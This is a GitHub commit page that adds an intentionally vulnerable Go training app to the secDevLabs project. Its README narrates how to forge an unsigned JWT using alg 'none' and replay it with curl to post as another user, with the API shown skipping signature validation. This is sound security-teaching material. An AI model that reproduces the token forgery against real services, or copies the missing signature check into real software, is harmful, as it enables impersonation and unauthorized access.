Skip to content

Commit ecb36ba

Browse files
aranhamsGabhenDM
authored andcommitted
Add new A1 - Broken Access Control app
1 parent 5846cb2 commit ecb36ba

26 files changed

+1088
-0
lines changed

owasp-top10-2021-apps/a1/camplake-api/.gitignore

Whitespace-only changes.
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
.SILENT:
2+
.DEFAULT_GOAL := help
3+
4+
COLOR_RESET = \033[0m
5+
COLOR_COMMAND = \033[36m
6+
COLOR_YELLOW = \033[33m
7+
COLOR_GREEN = \033[32m
8+
COLOR_RED = \033[31m
9+
10+
PROJECT := A1 Camp Crystal Lake API
11+
PORT := 20001
12+
SLEEPUNTILAPPSTARTS := 10
13+
14+
## Installs a development environment
15+
install: generate-passwords compose
16+
17+
## Runs project using docker-compose
18+
compose:
19+
docker-compose -f deployments/docker-compose.yml down -v --remove-orphans
20+
docker-compose -f deployments/docker-compose.yml up -d --build --force-recreate
21+
22+
## Generates passwords and set them as environment variables
23+
generate-passwords:
24+
chmod +x deployments/scripts.sh
25+
./deployments/scripts.sh
26+
27+
## Prints initialization message after compose phase
28+
msg:
29+
chmod +x deployments/check-init.sh
30+
./deployments/check-init.sh
31+
32+
## Prints help message
33+
help:
34+
printf "\n${COLOR_YELLOW}${PROJECT}\n------\n${COLOR_RESET}"
35+
awk '/^[a-zA-Z\-\_0-9\.%]+:/ { \
36+
helpMessage = match(lastLine, /^## (.*)/); \
37+
if (helpMessage) { \
38+
helpCommand = substr($$1, 0, index($$1, ":")); \
39+
helpMessage = substr(lastLine, RSTART + 3, RLENGTH); \
40+
printf "${COLOR_COMMAND}$$ make %s${COLOR_RESET} %s\n", helpCommand, helpMessage; \
41+
} \
42+
} \
43+
{ lastLine = $$0 }' $(MAKEFILE_LIST) | sort
44+
printf "\n"
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
# Camp Crystal Lake API
2+
3+
<p align="center">
4+
<img src="images/camplake.png" width="400" height="400"/>
5+
</p>
6+
7+
Camp Crystal Lake API is a simple Golang web application that contains an example of a Broken Access Control vulnerability and its main goal is to describe how a malicious user could exploit it.
8+
9+
## Index
10+
11+
- [Definition](#what-is-broken-access-control)
12+
- [Setup](#setup)
13+
- [Attack narrative](#attack-narrative)
14+
- [Objectives](#secure-this-app)
15+
- [Solutions](#pr-solutions)
16+
- [Contributing](#contributing)
17+
18+
## What is Broken Access Control?
19+
20+
Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data or performing a business function outside the user's limits.
21+
22+
Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access to other users' accounts, view sensitive files, modify other users’ data, change access rights, etc.
23+
24+
The main goal of this app is to discuss how **Broken Access Control** vulnerabilities can be exploited and to encourage developers to send secDevLabs Pull Requests on how they would mitigate these flaws.
25+
26+
## Setup
27+
28+
To start this intentionally **insecure application**, you will need [Docker][Docker Install] and [Docker Compose][Docker Compose Install]. After forking [secDevLabs](https://github.com/globocom/secDevLabs), you must type the following commands to start:
29+
30+
```sh
31+
cd secDevLabs/owasp-top10-2021-apps/a1/camp-lake-api
32+
```
33+
34+
```sh
35+
make install
36+
```
37+
38+
Then simply visit [localhost:20001][App] ! 😆
39+
40+
## Get to know the app 💵
41+
42+
To properly understand how this application works, you can follow this step:
43+
44+
- Registering a user, log in and create a new post!
45+
46+
## Attack narrative
47+
48+
Now that you know the purpose of this app, what could go wrong? The following section describes how an attacker could identify and eventually find sensitive information about the app or its users. We encourage you to follow these steps and try to reproduce them on your own to better understand the attack vector! 😜
49+
50+
### 👀
51+
52+
#### Incorrect JWT validation, such as not validating the signature algorithm used, allows malicious users to create fake tokens and abuse JWT non-validation.
53+
54+
To better understand how the API works, we'll create a new user.
55+
56+
For this example we create the user with the following login credentials - `campLakeAdmin:campLake2021`
57+
58+
```sh
59+
curl -s -H "Content-Type: application/json" -d '{"username":"campLakeAdmin","password":"campLake2021"}' http://localhost:20001/register
60+
```
61+
62+
<p align="center">
63+
<img src="images/attack_1.png"/>
64+
</p>
65+
66+
With the created user, we will login to the application with their credentials to get the JWT token. As it is a test application, the JWT token is returned to the user as soon as he is logged in.
67+
68+
```sh
69+
curl -s -H "Content-Type: application/json" -d '{"username":"campLakeAdmin","password":"campLake2021"}' http://localhost:10007/login
70+
```
71+
72+
<p align="center">
73+
<img src="images/attack_2.png"/>
74+
</p>
75+
76+
<p align="center">
77+
<img src="images/attack_4.png"/>
78+
</p>
79+
80+
In possession of the JWT token, we can create a new post in the API, making a POST request directly to the authenticated route `newPost`.
81+
82+
```sh
83+
curl -s -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhbXBMYWtlQWRtaW4iLCJleHAiOjE2MzMzODI5MzR9.aW4BTVuXaozSbF6EAJfRNsApRA_1hfk2OhaLAo250Uo' -d '{"title": "New member ", "post": "Today a new member ..."}' http://localhost:20001/newpost
84+
```
85+
86+
<p align="center">
87+
<img src="images/attack_3.png"/>
88+
</p>
89+
90+
### 🔥
91+
92+
However, the API does not verify the signature used by the JWT token, any malicious user can create a fake token, as shown by the image:
93+
94+
<p align="center">
95+
<img src="images/attack_6.png"/>
96+
</p>
97+
98+
```sh
99+
curl -s -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6Imphc29uVm9vcmhlc3MiLCJleHAiOjE2MzMzODM1ODZ9.' -d '{"title": "New member ", "post": "Today a new member ..."}' http://localhost:20001/newpost
100+
```
101+
102+
<p align="center">
103+
<img src="images/attack_5.png"/>
104+
</p>
105+
106+
## Secure this app
107+
108+
How would you mitigate this vulnerability? After your changes, an attacker should not be able to:
109+
110+
* Check and validate JWT Token signature.
111+
112+
## PR solutions
113+
114+
[Spoiler alert 🚨 ] To understand how this vulnerability can be mitigated, check out [these pull requests]()!
115+
116+
## Contributing
117+
118+
We encourage you to contribute to SecDevLabs! Please check out the [Contributing to SecDevLabs](../../../docs/CONTRIBUTING.md) section for guidelines on how to proceed! 🎉
119+
120+
[Docker Install]: https://docs.docker.com/install/
121+
[Docker Compose Install]: https://docs.docker.com/compose/install/
122+
[App]: http://localhost:10005
123+
[secDevLabs]: https://github.com/globocom/secDevLabs
124+
[2]:https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2017-apps/a5/ecommerce-api
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
package context
2+
3+
import (
4+
"fmt"
5+
"os"
6+
"strconv"
7+
"sync"
8+
"time"
9+
)
10+
11+
// MongoConfig represents MongoDB configuration.
12+
type MongoConfig struct {
13+
Address string
14+
DatabaseName string
15+
Timeout time.Duration
16+
Username string
17+
Password string
18+
}
19+
20+
// APIConfig represents API configuration.
21+
type APIConfig struct {
22+
MongoDBConfig *MongoConfig
23+
APIPort int
24+
}
25+
26+
var apiConfig *APIConfig
27+
var onceConfig sync.Once
28+
29+
// GetAPIConfig returns the instance of an APIConfig.
30+
func GetAPIConfig() *APIConfig {
31+
onceConfig.Do(func() {
32+
apiConfig = &APIConfig{
33+
MongoDBConfig: getMongoConfig(),
34+
APIPort: getAPIPort(),
35+
}
36+
})
37+
return apiConfig
38+
}
39+
40+
// getMongoConfig returns all MongoConfig retrieved from environment variables.
41+
func getMongoConfig() *MongoConfig {
42+
mongoHost := os.Getenv("MONGO_HOST")
43+
mongoDatabaseName := os.Getenv("MONGO_DATABASE_NAME")
44+
mongoUserName := os.Getenv("MONGO_DATABASE_USERNAME")
45+
mongoPassword := os.Getenv("MONGO_DATABASE_PASSWORD")
46+
mongoTimeout := getMongoTimeout()
47+
mongoPort := getMongoPort()
48+
mongoAddress := fmt.Sprintf("%s:%d", mongoHost, mongoPort)
49+
50+
return &MongoConfig{
51+
Address: mongoAddress,
52+
DatabaseName: mongoDatabaseName,
53+
Timeout: mongoTimeout,
54+
Username: mongoUserName,
55+
Password: mongoPassword,
56+
}
57+
}
58+
59+
// getAPIPort returns the API port retrieved from an environment variable.
60+
func getAPIPort() int {
61+
apiPort, err := strconv.Atoi(os.Getenv("API_PORT"))
62+
if err != nil {
63+
apiPort = 20007
64+
}
65+
return apiPort
66+
}
67+
68+
func getMongoTimeout() time.Duration {
69+
mongoTimeout, err := strconv.Atoi(os.Getenv("MONGO_TIMEOUT"))
70+
if err != nil {
71+
return time.Duration(60) * time.Second
72+
}
73+
return time.Duration(mongoTimeout) * time.Second
74+
}
75+
76+
// getMongoPort returns the port used by MongoDB retrieved from an environment variable.
77+
func getMongoPort() int {
78+
mongoPort, err := strconv.Atoi(os.Getenv("MONGO_PORT"))
79+
if err != nil {
80+
return 27017
81+
}
82+
return mongoPort
83+
}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package crypto
2+
3+
import "golang.org/x/crypto/bcrypt"
4+
5+
// BcryptPassword returns a hashed password using bcrypt and an error.
6+
func BcryptPassword(password string) (string, error) {
7+
bytes, err := bcrypt.GenerateFromPassword([]byte(password), 14)
8+
return string(bytes), err
9+
}
10+
11+
// CheckPasswordHash returns a bool if a password matches its bcrypt hash.
12+
func CheckPasswordHash(password, hash string) bool {
13+
err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password))
14+
return err == nil
15+
}

0 commit comments

Comments
 (0)